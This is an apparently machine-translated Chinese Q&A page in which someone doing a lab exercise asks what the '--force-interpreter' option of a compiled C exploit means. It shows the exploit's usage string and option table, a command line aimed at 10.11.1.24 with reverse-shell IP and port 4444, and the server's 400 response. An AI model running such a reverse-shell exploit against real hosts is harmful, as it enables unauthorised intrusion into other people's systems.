不了解此外部功能[--force-interpreter解释器]

问题描述 投票:-1回答:1

我正在使用一个类的漏洞利用程序,我已经对其进行了编译,添加了一些库,最后一个障碍。外部功能[--force-interpreter解释器]。它是用“ c”编写的,在32位的debian linux上运行,用gcc编译。我不是程序员,不是python,对于为什么在编译后需要解释器感到困惑,显然,我希望得到有关它要求什么的任何指导

用谷歌搜索这个词,尝试过PHP,perl作为解释器,(格式化?)在Internet上对其进行研究,

`{

      printf("usage: %s <--target target> <--port port> <--protocol http|https> " \
      "<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n",
       argv[0]);
      exit(1);

      for(;;)
      {
         int c;
         int option_index=0;
         static struct option long_options[] = {
           {"target", required_argument, 0, 0 },
           {"port", required_argument, 0, 0 },
           {"protocol", required_argument, 0, 0 },
           {"reverse-ip", required_argument, 0, 0 },
           {"reverse-port", required_argument, 0, 0 },
           {"force-interpreter", required_argument, 0, 0 },    
           {0, 0, 0, 0 }
          };


--target 10.11.1.24 --port 80 --protocol http --reverse-ip 10.11.0.152 --reverse-port 4444 --force-interpreter PHP/5.2.3
PHP/5.2.3
***SERVER RESPONSE***

HTTP/1.1 400 Bad Request
Date: Wed, 25 Sep 2019 13:50:46 GMT
Server: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6
Content-Length: 320
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6 Server at 10.11.1.24 Port 80</address>
</body></html>`
c external interpreter exploit
1个回答
0
投票

您现在找到回应了吗?我也有同样的问题 ;我不了解此外部功能。如果找到响应,可以与其他用户共享响应吗?

© www.soinside.com 2019 - 2024. All rights reserved.